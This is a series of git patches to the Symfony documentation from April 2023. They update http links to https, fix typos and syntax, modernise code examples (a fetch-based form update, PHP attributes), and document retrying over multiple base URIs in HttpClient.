-    <!-- http://phpunit.de/manual/6.0/en/appendixes.configuration.html -->
+    <!-- https://phpunit.de/manual/6.0/en/appendixes.configuration.html -->
     <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/6.0/phpunit.xsd"
     >
@@ -199,7 +199,7 @@ message, enclosed with ``/``. For example, with:
 
 .. code-block:: xml
 
-    <!-- http://phpunit.de/manual/6.0/en/appendixes.configuration.html -->
+    <!-- https://phpunit.de/manual/6.0/en/appendixes.configuration.html -->
     <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/6.0/phpunit.xsd"
     >
@@ -828,7 +828,7 @@ namespaces in the ``phpunit.xml`` file, as done for example in the
 
 .. code-block:: xml
 
-    <!-- http://phpunit.de/manual/4.1/en/appendixes.configuration.html -->
+    <!-- https://phpunit.de/manual/4.1/en/appendixes.configuration.html -->
     <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/4.1/phpunit.xsd"
     >
@@ -1019,7 +1019,7 @@ Add the following configuration to the ``phpunit.xml.dist`` file:
 
 .. code-block:: xml
 
-    <!-- http://phpunit.de/manual/6.0/en/appendixes.configuration.html -->
+    <!-- https://phpunit.de/manual/6.0/en/appendixes.configuration.html -->
     <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/6.0/phpunit.xsd"
     >
diff --git a/components/serializer.rst b/components/serializer.rst
index 32e60fa240b..cf09f0b7992 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1890,7 +1890,7 @@ Learn more
 .. _RFC3339: https://tools.ietf.org/html/rfc3339#section-5.8
 .. _`options with libxml`: https://www.php.net/manual/en/libxml.constants.php
 .. _`DOM XML_* constants`: https://www.php.net/manual/en/dom.constants.php
-.. _JSON: http://www.json.org/
+.. _JSON: https://www.json.org/json-en.html
 .. _XML: https://www.w3.org/XML/
 .. _YAML: https://yaml.org/
 .. _CSV: https://tools.ietf.org/html/rfc4180
diff --git a/components/uid.rst b/components/uid.rst
index a2377c52b8b..ccd567f6ccf 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -58,9 +58,9 @@ to create each type of UUID::
     $uuid = Uuid::v3(Uuid::NAMESPACE_OID, $name);  // same as: Uuid::v3('oid', $name);
     $uuid = Uuid::v3(Uuid::NAMESPACE_X500, $name); // same as: Uuid::v3('x500', $name);
 
-    // UUID type 6 is not part of the UUID standard. It's lexicographically sortable
+    // UUID type 6 is not yet part of the UUID standard. It's lexicographically sortable
     // (like ULIDs) and contains a 60-bit timestamp and 63 extra unique bits.
-    // It's defined in http://gh.peabody.io/uuidv6/
+    // It's defined in https://www.ietf.org/archive/id/draft-peabody-dispatch-new-uuid-format-04.html#name-uuid-version-6
     $uuid = Uuid::v6(); // $uuid is an instance of Symfony\Component\Uid\UuidV6
 
 .. versionadded:: 5.3
diff --git a/deployment.rst b/deployment.rst
index f9480d673e8..9d90a290698 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -255,10 +255,10 @@ Learn More
 
 .. _`Capifony`: https://github.com/everzet/capifony
 .. _`Capistrano`: https://capistranorb.com/
-.. _`Fabric`: http://www.fabfile.org/
+.. _`Fabric`: https://www.fabfile.org/
 .. _`Ansistrano`: https://ansistrano.com/
 .. _`Magallanes`: https://github.com/andres-montanez/Magallanes
-.. _`Memcached`: http://memcached.org/
+.. _`Memcached`: https://memcached.org/
 .. _`Redis`: https://redis.io/
 .. _`Symfony plugin`: https://github.com/capistrano/symfony/
 .. _`Deployer`: https://deployer.org/
diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 5b12fb5e946..53b301d5e41 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -182,4 +182,4 @@ handling the request::
 .. _`CloudFront`: https://en.wikipedia.org/wiki/Amazon_CloudFront
 .. _`CloudFront IP ranges`: https://ip-ranges.amazonaws.com/ip-ranges.json
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
-.. _`nginx realip module`: http://nginx.org/en/docs/http/ngx_http_realip_module.html
+.. _`nginx realip module`: https://nginx.org/en/docs/http/ngx_http_realip_module.html
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index fa2ce96ea06..4cd5b328c63 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -253,4 +253,4 @@ The ``render_esi`` helper supports two other useful options:
     of ``continue`` indicating that, in the event of a failure, the gateway cache
     will remove the ESI tag silently.
 
-.. _`ESI`: http://www.w3.org/TR/esi-lang
+.. _`ESI`: https://www.w3.org/TR/esi-lang/
diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst
index 6157ceb3cf3..3c1fa6d5346 100644
--- a/http_cache/varnish.rst
+++ b/http_cache/varnish.rst
@@ -225,9 +225,9 @@ proxy before it has expired, it adds complexity to your caching setup.
     Varnish and other reverse proxies for cache invalidation.
 
 .. _`Varnish`: https://varnish-cache.org/
-.. _`Edge Architecture`: http://www.w3.org/TR/edge-arch
+.. _`Edge Architecture`: https://www.w3.org/TR/edge-arch
 .. _`clean the cookies header`: https://varnish-cache.org/docs/7.0/reference/vmod_cookie.html
-.. _`Surrogate-Capability Header`: http://www.w3.org/TR/edge-arch
+.. _`Surrogate-Capability Header`: https://www.w3.org/TR/edge-arch
 .. _`cache invalidation`: https://tools.ietf.org/html/rfc2616#section-13.10
 .. _`FOSHttpCacheBundle`: https://foshttpcachebundle.readthedocs.io/en/latest/features/user-context.html
 .. _`default.vcl`: https://github.com/varnishcache/varnish-cache/blob/3.0/bin/varnishd/default.vcl
diff --git a/introduction/http_fundamentals.rst b/introduction/http_fundamentals.rst
index 6204d434a6a..802429b5253 100644
--- a/introduction/http_fundamentals.rst
+++ b/introduction/http_fundamentals.rst
@@ -372,8 +372,8 @@ Here's what we've learned so far:
 
 .. _`xkcd`: https://xkcd.com/
 .. _`XMLHttpRequest`: https://en.wikipedia.org/wiki/XMLHttpRequest
-.. _`HTTP 1.1 RFC`: http://www.w3.org/Protocols/rfc2616/rfc2616.html
-.. _`HTTP Bis`: http://datatracker.ietf.org/wg/httpbis/
+.. _`HTTP 1.1 RFC`: https://www.w3.org/Protocols/rfc2616/rfc2616.html
+.. _`HTTP Bis`: https://datatracker.ietf.org/wg/httpbis/
 .. _`List of HTTP header fields`: https://en.wikipedia.org/wiki/List_of_HTTP_header_fields
 .. _`list of HTTP status codes`: https://en.wikipedia.org/wiki/List_of_HTTP_status_codes
 .. _`List of common media types`: https://www.iana.org/assignments/media-types/media-types.xhtml
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 1eaed6075d0..65841a1e26c 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -390,5 +390,5 @@ The message that is displayed if the uploaded file is only partially uploaded.
 
 This message has no parameters.
 
-.. _`IANA website`: http://www.iana.org/assignments/media-types/media-types.xhtml
+.. _`IANA website`: https://www.iana.org/assignments/media-types/media-types.xhtml
 .. _`Wikipedia: Binary prefix`: https://en.wikipedia.org/wiki/Binary_prefix
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 408341427db..917335f49cb 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -557,5 +557,5 @@ options has been set.
 
 This message has no parameters.
 
-.. _`IANA website`: http://www.iana.org/assignments/media-types/media-types.xhtml
+.. _`IANA website`: https://www.iana.org/assignments/media-types/media-types.xhtml
 .. _`PHP GD extension`: https://www.php.net/manual/en/book.image.php
diff --git a/reference/formats/message_format.rst b/reference/formats/message_format.rst
index cd3f05c4c29..99c02f0f5b2 100644
--- a/reference/formats/message_format.rst
+++ b/reference/formats/message_format.rst
@@ -498,8 +498,8 @@ The ``number`` formatter allows you to format numbers using Intl's :phpclass:`Nu
     // "9 988 776,65 €"
     echo $translator->trans('value_of_object', ['value' => 9988776.65]);
 
-.. _`online editor`: http://format-message.github.io/icu-message-format-for-translators/
+.. _`online editor`: https://format-message.github.io/icu-message-format-for-translators/
 .. _`ICU MessageFormat`: https://unicode-org.github.io/icu/userguide/format_parse/messages/
 .. _`switch statement`: https://www.php.net/control-structures.switch
-.. _`Language Plural Rules`: http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html
+.. _`Language Plural Rules`: https://www.unicode.org/cldr/charts/43/supplemental/language_plural_rules.html
 .. _`constants defined by the IntlDateFormatter class`: https://www.php.net/manual/en/class.intldateformatter.php
diff --git a/reference/formats/xliff.rst b/reference/formats/xliff.rst
index d5fb90e3586..acb9af36014 100644
--- a/reference/formats/xliff.rst
+++ b/reference/formats/xliff.rst
@@ -37,4 +37,4 @@ loaded/dumped inside a Symfony application:
         </file>
     </xliff>
 
-.. _XLIFF: http://docs.oasis-open.org/xliff/xliff-core/v2.1/xliff-core-v2.1.html
+.. _XLIFF: https://docs.oasis-open.org/xliff/xliff-core/v2.1/xliff-core-v2.1.html
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index cee081e3885..19ce4059743 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -231,5 +231,5 @@ Field Variables
 |          |            | contains the input type to use (``datetime``, ``date`` or ``time``). |
 +----------+------------+----------------------------------------------------------------------+
 
-.. _`datetime local`: http://w3c.github.io/html-reference/datatypes.html#form.data.datetime-local
+.. _`datetime local`: https://html.spec.whatwg.org/multipage/input.html#local-date-and-time-state-(type=datetime-local)
 .. _`Date/Time Format Syntax`: https://unicode-org.github.io/icu/userguide/format_parse/datetime/#datetime-format-syntax
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index fb667a12338..2ede5f38e9f 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -141,4 +141,4 @@ The actual default value of this option depends on other field options:
 
 .. _`ISO 639-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_639-1
 .. _`ISO 639-2 alpha-3 (2T)`: https://en.wikipedia.org/wiki/ISO_639-2
-.. _`International Components for Unicode`: http://site.icu-project.org
+.. _`International Components for Unicode`: https://icu.unicode.org/
diff --git a/reference/forms/types/options/required.rst.inc b/reference/forms/types/options/required.rst.inc
index 41d4e347de6..518852e9981 100644
--- a/reference/forms/types/options/required.rst.inc
+++ b/reference/forms/types/options/required.rst.inc
@@ -15,4 +15,4 @@ from your validation information.
     The required option also affects how empty data for each field is
     handled. For more details, see the `empty_data`_ option.
 
-.. _`HTML5 required attribute`: http://diveintohtml5.info/forms.html
+.. _`HTML5 required attribute`: https://html.spec.whatwg.org/multipage/input.html#attr-input-required
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 9d1b1a7edef..7e0d5b8beb0 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -133,4 +133,4 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/row_attr.rst.inc
 
-.. _`ICU Project`: http://site.icu-project.org/
+.. _`ICU Project`: https://icu.unicode.org/
diff --git a/security/ldap.rst b/security/ldap.rst
index f6344d45842..b984bdf749b 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -528,6 +528,6 @@ Configuration example for form login and query_string
         };
 
 .. _`LDAP PHP extension`: https://www.php.net/manual/en/intro.ldap.php
-.. _`RFC4515`: http://www.faqs.org/rfcs/rfc4515.html
+.. _`RFC4515`: https://datatracker.ietf.org/doc/rfc4515/
 .. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection
 
diff --git a/serializer.rst b/serializer.rst
index 04ffb540374..b7b62efa843 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -419,7 +419,7 @@ take a look at how this bundle works.
 
 .. _`API Platform`: https://api-platform.com
 .. _`JSON-LD`: https://json-ld.org
-.. _`Hydra Core Vocabulary`: http://www.hydra-cg.com
+.. _`Hydra Core Vocabulary`: https://www.hydra-cg.com/
 .. _`OpenAPI`: https://www.openapis.org
 .. _`GraphQL`: https://graphql.org
 .. _`JSON:API`: https://jsonapi.org
diff --git a/templates.rst b/templates.rst
index edaf8deeb52..47071654f54 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1601,4 +1601,4 @@ for this class and :doc:`tag your service </service_container/tags>` with ``twig
 .. _`default Twig filters and functions`: https://twig.symfony.com/doc/3.x/#reference
 .. _`official Twig extensions`: https://github.com/twigphp?q=extra
 .. _`global variables`: https://twig.symfony.com/doc/3.x/advanced.html#id1
-.. _`hinclude.js`: http://mnot.github.io/hinclude/
+.. _`hinclude.js`: https://mnot.github.io/hinclude/

From 2591cb3288d2c59c977866ad65dac1b601a478b2 Mon Sep 17 00:00:00 2001
From: Andrea Bergamasco <andrea@bergamasco.me>
Date: Thu, 13 Apr 2023 08:53:54 +0200
Subject: [PATCH 3221/5766] [Minor] Fixed verb tense

---
 notifier.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 0f9251e2007..f12ab679cf3 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -836,11 +836,11 @@ allows you to optionally hook into the lifecycle via events.
 The ``MessageEvent::class`` Event
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-**Typical Purposes**: Doing something before the message is send (like logging
-which message is going to be send, or displaying something about the event
+**Typical Purposes**: Doing something before the message is sent (like logging
+which message is going to be sent, or displaying something about the event
 to be executed.
 
-Just before send the message, the event class ``MessageEvent`` is
+Just before sending the message, the event class ``MessageEvent`` is
 dispatched. Listeners receive a
 :class:`Symfony\\Component\\Notifier\\Event\\MessageEvent` event::
 

From 813398d887dcfc315a4a7c94482296d73c2da68e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Apr 2023 09:11:41 +0200
Subject: [PATCH 3222/5766] Tweaks in the code examples of the controller early
 hints

---
 controller.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index 42b4aeb28b1..9f861a75708 100644
--- a/controller.rst
+++ b/controller.rst
@@ -542,11 +542,12 @@ method::
         public function index(): Response
         {
             $response = $this->sendEarlyHints([
+                new Link(rel: 'preconnect', href: 'https://fonts.google.com'),
                 (new Link(href: '/style.css'))->withAttribute('as', 'stylesheet'),
                 (new Link(href: '/script.js'))->withAttribute('as', 'script'),
             ]);
 
-            // Do something slow...
+            // prepare the contents of the response...
 
             return $this->render('homepage/index.html.twig', response: $response);
         }

From 28333d8daf0100914bc0a8d3972607bf7bfcb3a2 Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Mon, 17 Apr 2023 08:23:48 +0200
Subject: [PATCH 3223/5766] add Void to delete method

---
 security/passwords.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index c12d51f520d..f00cec6184c 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -242,7 +242,7 @@ After configuring the correct algorithm, you can use the
                 // ...
             }
 
-            public function delete(UserPasswordHasherInterface $passwordHasher, UserInterface $user)
+            public function delete(UserPasswordHasherInterface $passwordHasher, UserInterface $user): void
             {
                 // ... e.g. get the password from a "confirm deletion" dialog
                 $plaintextPassword = ...;

From ad912b8ff931488e924c13a9cfd96285f3291689 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Apr 2023 16:42:01 +0200
Subject: [PATCH 3224/5766] [FrameworkBundle] Fix a minor syntax issue

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 66ba3793412..53f3aa64960 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -482,7 +482,7 @@ instance), the host might have been manipulated by an attacker.
 
 .. seealso::
 
-    You can read "`HTTP Host header attacks`_" for more information about
+    You can read `HTTP Host header attacks`_ for more information about
     these kinds of attacks.
 
 The Symfony :method:`Request::getHost() <Symfony\\Component\\HttpFoundation\\Request::getHost>`

From 92f2218a6fb64a2511105d62caaa621b51acafe5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Apr 2023 17:41:02 +0200
Subject: [PATCH 3225/5766] [Contributing] Fix some minor typos

---
 contributing/code/bc.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index ae97007117e..3caf969c432 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -408,7 +408,7 @@ Change argument type
 Add return type                                                                  No
 Remove return type                                                               No
 Change return type                                                               No
-**Static Methods and Properties**          
+**Static Methods and Properties**
 Turn non static into static                                                      No
 Turn static into non static                                                      No
 ===============================================================================  ==============  ===============
@@ -477,10 +477,10 @@ Making Code Changes in a Backward Compatible Way
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 As you read above, many changes are not allowed because they would represent a
-backward compability break. However, we want to be able to improve the code and
+backward compatibility break. However, we want to be able to improve the code and
 its features over time and that can be done thanks to some strategies that
 allow to still do some unallowed changes in several steps that ensure backward
-compability and a smooth upgrade path. Some of them are described in the next
+compatibility and a smooth upgrade path. Some of them are described in the next
 sections.
 
 .. _add-argument-public-method:

From 173203c187bd805a171a94218b06a0427374feb5 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 18 Apr 2023 17:43:17 +0200
Subject: [PATCH 3226/5766] improve links label in rememberMe doc

---
 security/remember_me.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index 58fbeb6e959..1d69cc9a555 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -266,12 +266,14 @@ Signature based tokens
     By default, the remember me cookie contains a signature based on
     properties of the user. If the properties change, the signature changes
     and already generated tokens are no longer considered valid. See
-    :ref:`security-remember-me-signature` for more information.
+    :ref:`how to use them <security-remember-me-signature>` for more
+    information.
 
 Persistent tokens
     Persistent tokens store any generated token (e.g. in a database). This
     allows you to invalidate tokens by changing the rows in the database.
-    See :ref:`security-remember-me-persistent` for more information.
+    See :ref:`how to store tokens <security-remember-me-persistent>` for more
+    information.
 
 .. note::
 

From 8b3fc1b099157ceed83c1beaa26e3dc3f2c2976c Mon Sep 17 00:00:00 2001
From: Maxime Morlet <MaxiCom.Developpement@gmail.com>
Date: Thu, 20 Apr 2023 00:18:29 +0200
Subject: [PATCH 3227/5766] Update forms.rst

Typo!
---
 forms.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/forms.rst b/forms.rst
index 47ccafbff41..9a673dc4fc6 100644
--- a/forms.rst
+++ b/forms.rst
@@ -284,7 +284,7 @@ transform the form into a *form view* instance.
 .. deprecated:: 6.2
 
     Prior to Symfony 6.2, you had to use ``$this->render(..., ['form' => $form->createView()])``
-    or the ``renderForm()`` method to render to form. The ``renderForm()``
+    or the ``renderForm()`` method to render the form. The ``renderForm()``
     method is deprecated in favor of directly passing the ``FormInterface``
     instance to ``render()``.
 

From 7b5868bade8bd79cd8f3be46011ef00bee3ad94d Mon Sep 17 00:00:00 2001
From: Yannick <y.francois54@gmail.com>
Date: Thu, 20 Apr 2023 10:36:09 +0200
Subject: [PATCH 3228/5766] Update dynamic_form_modification.rst

Hi mates,

The JavaScript parts use jQuery and, IMHO, it's not relevant. Also, performing an Ajax request is easier since fetch is available for JavaScript. That's why I propose this piece of code.

Also, to use `form.getAttribute('action')` , you must manually define the URL called by the form. To do this, I give a third parameter to `createForm` and I set the action value in `SportMeetupType` with `$builder->setAction()`

Yannick
---
 form/dynamic_form_modification.rst | 67 ++++++++++++++++++------------
 1 file changed, 41 insertions(+), 26 deletions(-)

diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 0911a40f999..0d321880cb3 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -447,7 +447,7 @@ The type would now look like::
     class SportMeetupType extends AbstractType
     {
         public function buildForm(FormBuilderInterface $builder, array $options): void
-        {
+        {          
             $builder
                 ->add('sport', EntityType::class, [
                     'class' => Sport::class,
@@ -487,6 +487,10 @@ The type would now look like::
                     $formModifier($event->getForm()->getParent(), $sport);
                 }
             );
+            
+            // by default, action does not appear in the form tag
+            // you can set this value by passing the controller route
+            $builder->setAction($options['action']);
         }
 
         // ...
@@ -518,10 +522,11 @@ your application. Assume that you have a sport meetup creation controller::
 
     class MeetupController extends AbstractController
     {
+        #[Route('/create', name: 'app_meetup_create', methods: ['GET', 'POST'])]
         public function create(Request $request): Response
         {
             $meetup = new SportMeetup();
-            $form = $this->createForm(SportMeetupType::class, $meetup);
+            $form = $this->createForm(SportMeetupType::class, $meetup, ['action' => $this->generateUrl('app_meetup_create')]);
             $form->handleRequest($request);
             if ($form->isSubmitted() && $form->isValid()) {
                 // ... save the meetup, redirect etc.
@@ -541,36 +546,46 @@ field according to the current selection in the ``sport`` field:
 .. code-block:: html+twig
 
     {# templates/meetup/create.html.twig #}
-    {{ form_start(form) }}
+    {{ form_start(form, { 'attr' : { 'id' : 'supply_history_form' } }) }}
         {{ form_row(form.sport) }}    {# <select id="meetup_sport" ... #}
         {{ form_row(form.position) }} {# <select id="meetup_position" ... #}
         {# ... #}
     {{ form_end(form) }}
 
     <script>
-    var $sport = $('#meetup_sport');
-    // When sport gets selected ...
-    $sport.change(function() {
-      // ... retrieve the corresponding form.
-      var $form = $(this).closest('form');
-      // Simulate form data, but only include the selected sport value.
-      var data = {};
-      data[$sport.attr('name')] = $sport.val();
-      // Submit data via AJAX to the form's action path.
-      $.ajax({
-        url : $form.attr('action'),
-        type: $form.attr('method'),
-        data : data,
-        complete: function(html) {
-          // Replace current position field ...
-          $('#meetup_position').replaceWith(
-            // ... with the returned one from the AJAX response.
-            $(html.responseText).find('#meetup_position')
-          );
-          // Position field now displays the appropriate positions.
-        }
-      });
-    });
+        const form = document.getElementById('sport_meetup_form');
+        const form_select_sport = document.getElementById('meetup_sport');
+        const form_select_position = document.getElementById('meetup_position');
+
+        const updateForm = async (data, url, method) => {
+          const req = await fetch(url, {
+            method: method,
+            body: data,
+            headers: {
+                'Content-Type': 'application/x-www-form-urlencoded',
+                'charset': 'utf-8'
+            }
+          });
+
+          const text = await req.text();
+          return text;
+        };
+
+        const parseTextToHtml = (text) => {
+          const parser = new DOMParser();
+          const html = parser.parseFromString(text, 'text/html');
+          return html;
+        };
+
+        const changeOptions = async (e) => {
+          const requestBody = e.target.getAttribute('name') + '=' + e.target.value;
+          const updateFormResponse = await updateForm(requestBody, form.getAttribute('action'), form.getAttribute('method'));
+          const html = parseTextToHtml(updateFormResponse);
+          const new_form_select_position = html.getElementById('meetup_position');
+          form_select_position.innerHTML = new_form_select_position.innerHTML;
+        };
+
+        form_select_sport.addEventListener('change', (e) => changeOptions(e));
     </script>
 
 The major benefit of submitting the whole form to just extract the updated

From 72443757f33dabb988cdeccd3f98127e4f7bbe82 Mon Sep 17 00:00:00 2001
From: Benjamin Zaslavsky <benjamin.zaslavsky@gmail.com>
Date: Thu, 20 Apr 2023 10:25:46 +0200
Subject: [PATCH 3229/5766] [HttpClient] Add doc for multiple `base_uri` as
 array

---
 http_client.rst | 53 +++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 53 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index f507573ce2c..e0742183175 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -731,6 +731,59 @@ The ``RetryableHttpClient`` uses a
 decide if the request should be retried, and to define the waiting time between
 each retry.
 
+Retry Over Several Base URIs
+............................
+
+.. versionadded:: 6.3
+
+    The multiple ``base_uri`` feature was added in Symfony 6.3.
+
+The ``RetryableHttpClient`` can be configured to use multiple base URIs. This
+feature provides increased flexibility and reliability for making HTTP
+requests. Pass an array of base URIs as option ``base_uri`` when making a 
+request::
+
+    $response = $client->request('GET', 'some-page', [
+        'base_uri' => [
+            // first request will use this base URI
+            'https://example.com/a/',
+            // if first request fails, the following base URI will be used
+            'https://example.com/b/',
+        ],
+    ]);
+
+When the number of retries is higher than the number of base URIs, the 
+last base URI will be used for the remaining retries.
+
+If you want to shuffle the order of base URIs for each retry attempt, nest the
+base URIs you want to shuffle in an additional array::
+
+    $response = $client->request('GET', 'some-page', [
+        'base_uri' => [
+            [
+                // a single random URI from this array will be used for the first request
+                'https://example.com/a/',
+                'https://example.com/b/',
+            ],
+            // non-nested base URIs are used in order
+            'https://example.com/c/',
+        ],
+    ]);
+
+This feature allows for a more randomized approach to handling retries, 
+reducing the likelihood of repeatedly hitting the same failed base URI.
+
+By using a nested array for the base URI, you can use this feature 
+to distribute the load among many nodes in a cluster of servers.
+
+You can also configure the array of base URIs using the ``withOptions()`` 
+method::
+
+    $client = $client->withOptions(['base_uri' => [
+        'https://example.com/a/',
+        'https://example.com/b/',
+    ]]);
+
 HTTP Proxies
 ~~~~~~~~~~~~
 

From 2e0598b69b6f4b3ff40a01fd0daaa343bab9f1c5 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Thu, 20 Apr 2023 20:12:10 +0200
Subject: [PATCH 3230/5766] use attributes for entity example

---
 security.rst | 25 +++++++------------------
 1 file changed, 7 insertions(+), 18 deletions(-)

diff --git a/security.rst b/security.rst
index fb0ad14e2ac..a492e38fac7 100644
--- a/security.rst
+++ b/security.rst
@@ -125,32 +125,21 @@ from the `MakerBundle`_:
     use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
     use Symfony\Component\Security\Core\User\UserInterface;
 
-    /**
-     * @ORM\Entity(repositoryClass=UserRepository::class)
-     */
+    #[ORM\Entity(repositoryClass: UserRepository::class)]
     class User implements UserInterface, PasswordAuthenticatedUserInterface
     {
-        /**
-         * @ORM\Id
-         * @ORM\GeneratedValue
-         * @ORM\Column(type="integer")
-         */
+        #[ORM\Id]
+        #[ORM\GeneratedValue]
+        #[ORM\Column(type: 'integer')]
         private $id;
 
-        /**
-         * @ORM\Column(type="string", length=180, unique=true)
-         */
+        #[ORM\Column(type: 'string', length: 180, unique: true)]
         private $email;
 
-        /**
-         * @ORM\Column(type="json")
-         */
+        #[ORM\Column(type: 'json')]
         private $roles = [];
 
-        /**
-         * @var string The hashed password
-         * @ORM\Column(type="string")
-         */
+        #[ORM\Column(type: 'string')]
         private $password;
 
         public function getId(): ?int

From 35cf2b7829565d626cd482c03119449f9ae7a483 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 21 Apr 2023 12:38:17 +0200
Subject: [PATCH 3231/5766] Adding link to main forms article

Page: https://symfony.com/doc/5.4/form/without_class.html
---
 form/without_class.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/without_class.rst b/form/without_class.rst
index 2a642e0d7f0..d0a44ed6205 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -2,8 +2,8 @@ How to Use a Form without a Data Class
 ======================================
 
 In most cases, a form is tied to an object, and the fields of the form get
-and store their data on the properties of that object. This is exactly what
-you've seen so far in this article with the ``Task`` class.
+and store their data on the properties of that object. This is what
+:doc:`the main article on forms </forms>` is about.
 
 But sometimes, you may want to use a form without a class, and get back an
 array of the submitted data. The ``getData()`` method allows you to do

From 7ccec465fddd3ef50535d97f0ba8f3933efc49f4 Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Fri, 21 Apr 2023 14:21:06 +0200
Subject: [PATCH 3232/5766] Fix XML tag array attribute example

---
 service_container/tags.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 94fb0e9e1c8..b37827f0cb2 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -481,8 +481,10 @@ To answer this, change the service declaration:
 
                 <service id="MailerSendmailTransport">
                     <tag name="app.mail_transport">
-                        <attribute>sendmail</attribute>
-                        <attribute>anotherAlias</attribute>
+                        <attribute name="alias">
+                            <attribute name="0">sendmail</attribute>
+                            <attribute name="1">anotherAlias</attribute>
+                        </attribute>
                     </tag>
                 </service>
             </services>

From 93d4c89dd06659d6731c23b2cae19e62df89be4e Mon Sep 17 00:00:00 2001
From: Jeremy Jumeau <jumeau.jeremy@gmail.com>
Date: Fri, 21 Apr 2023 14:23:49 +0200
Subject: [PATCH 3233/5766] Fix syntax in code example with promoted attribute

---
 service_container/service_decoration.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index b68da08d47a..7dc3b9fe866 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -153,7 +153,8 @@ automatically changed to ``'.inner'``):
         class DecoratingMailer
         {
             public function __construct(
-                private #[MapDecorated] $inner,
+                #[MapDecorated]
+                private $inner,
             ) {
             }
 

From d09cf034f6a5cfe110fb2b35b670a3d2060c87a2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Aur=C3=A9lien=20ADAM?= <aurelien.adam@adveris.fr>
Date: Sat, 22 Apr 2023 16:13:04 +0200
Subject: [PATCH 3234/5766] [DI] Mark service as public with #[Autoconfigure]
 attribute

